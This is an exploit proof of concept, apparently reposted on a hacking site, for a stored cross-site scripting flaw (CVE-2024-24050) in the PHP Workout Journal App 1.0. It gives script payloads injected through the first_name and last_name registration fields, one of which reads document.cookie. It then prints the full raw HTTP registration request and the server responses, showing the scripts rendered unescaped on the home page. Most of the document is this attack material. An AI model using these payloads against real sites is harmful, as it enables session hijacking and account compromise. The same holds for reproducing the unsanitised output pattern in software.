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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Workout Journal App 1.0 - Stored XSS
# Date: 12.01.2024
# Exploit Author: MURAT CAGRI ALIS
# Vendor Homepage: https://www.sourcecodester.com<https://www.sourcecodester.com/php/17088/workout-journal-app-using-php-and-mysql-source-code.html>
# Software Link: https://www.sourcecodester.com/php/17088/workout-journal-app-using-php-and-mysql-source-code.html
# Version: 1.0
# Tested on: Windows / MacOS / Linux
# CVE : CVE-2024-24050

# Description

Install and run the source code of the application on localhost. Register from the registration page at the url workout-journal/index.php. When registering, stored XSS payloads can be entered for the First and Last name on the page. When registering on this page, for the first_name parameter in the request to the /workout-journal/endpoint/add-user.php url
For the last_name parameter, type " <script>console.log(document.cookie)</script> " and " <script>console.log(1337) </script> ". Then when you log in you will be redirected to /workout-journal/home.php. When you open the console here, you can see that Stored XSS is working. You can also see from the source code of the page that the payloads are working correctly. This vulnerability occurs when a user enters data without validation and then the browser is allowed to execute this code.


# PoC

Register Request to /workout-journal/endpoints/add-user.php

POST /workout-journal/endpoint/add-user.php HTTP/1.1
Host: localhost
Content-Length: 268
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/workout-journal/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=64s63vgqlnltujsrj64c5o0vci
Connection: close

first_name=%3Cscript%3Econsole.log%28document.cookie%29%3C%2Fscript%3E%29&last_name=%3Cscript%3Econsole.log%281337%29%3C%2Fscript%3E%29&weight=85&height=190&birthday=1991-11-20&contact_number=1234567890&email=test%40mail.mail&username=testusername&password=Test123456-

This request turn back 200 Code on Response

HTTP/1.1 200 OK
Date: Sat, 16 Mar 2024 02:05:52 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.4
X-Powered-By: PHP/8.1.4
Content-Length: 214
Connection: close
Content-Type: text/html; charset=UTF-8


                <script>
                    alert('Account Registered Successfully!');
                    window.location.href = 'http://localhost/workout-journal/';
                </script>

After these all, you can go to login page and login to system with username and password. After that you can see that on console payloads had worked right.

/workout-journal/home.php Request

GET /workout-journal/home.php HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://localhost/workout-journal/endpoint/login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=co1vmea8hr1nctjvmid87fa7d1
Connection: close

/workout-journal/home.php Response

HTTP/1.1 200 OK
Date: Sat, 16 Mar 2024 02:07:56 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.4
X-Powered-By: PHP/8.1.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 2791
Connection: close
Content-Type: text/html; charset=UTF-8


    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Workout Journal App</title>

        <!-- Style CSS -->
        <link rel="stylesheet" href="./assets/style.css">

        <!-- Bootstrap CSS -->
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/css/bootstrap.min.css">

        <style>
            body {
                overflow: hidden;
            }
        </style>
    </head>
    <body>



        <div class="main">
            <nav class="navbar navbar-expand-lg navbar-dark bg-dark">
                <a class="navbar-brand ml-3" href="#">Workout Journal App</a>
                <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
                    <span class="navbar-toggler-icon"></span>
                </button>

                <div class="collapse navbar-collapse" id="navbarSupportedContent">
                    <ul class="navbar-nav ml-auto">
                    <li class="nav-item active">
                        <a class="nav-link" href="./endpoint/logout.php">Log Out</a>
                    </li>
                </div>

            </nav>

            <div class="landing-page-container">
                <div class="heading-container">
                    <h2>Welcome <script>console.log(document.cookie);</script>) <script>console.log(1337);</script>)</h2>
                    <p>What would you like to do today?</p>
                </div>

                <div class="select-option">
                    <div class="read-journal" onclick="redirectToReadJournal()">
                        <img src="./assets/read.jpg" alt="">
                        <p>Read your past workout journals.</p>
                    </div>
                    <div class="write-journal" onclick="redirectToWriteJournal()">
                        <img src="./assets/write.jpg" alt="">
                        <p>Write your todays journal.</p>
                    </div>
                </div>
            </div>

        </div>

        <!-- Bootstrap JS -->
        <script src="https://cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.min.js"></script>

        <!-- Script JS -->
        <script src="./assets/script.js"></script>
    </body>
    </html>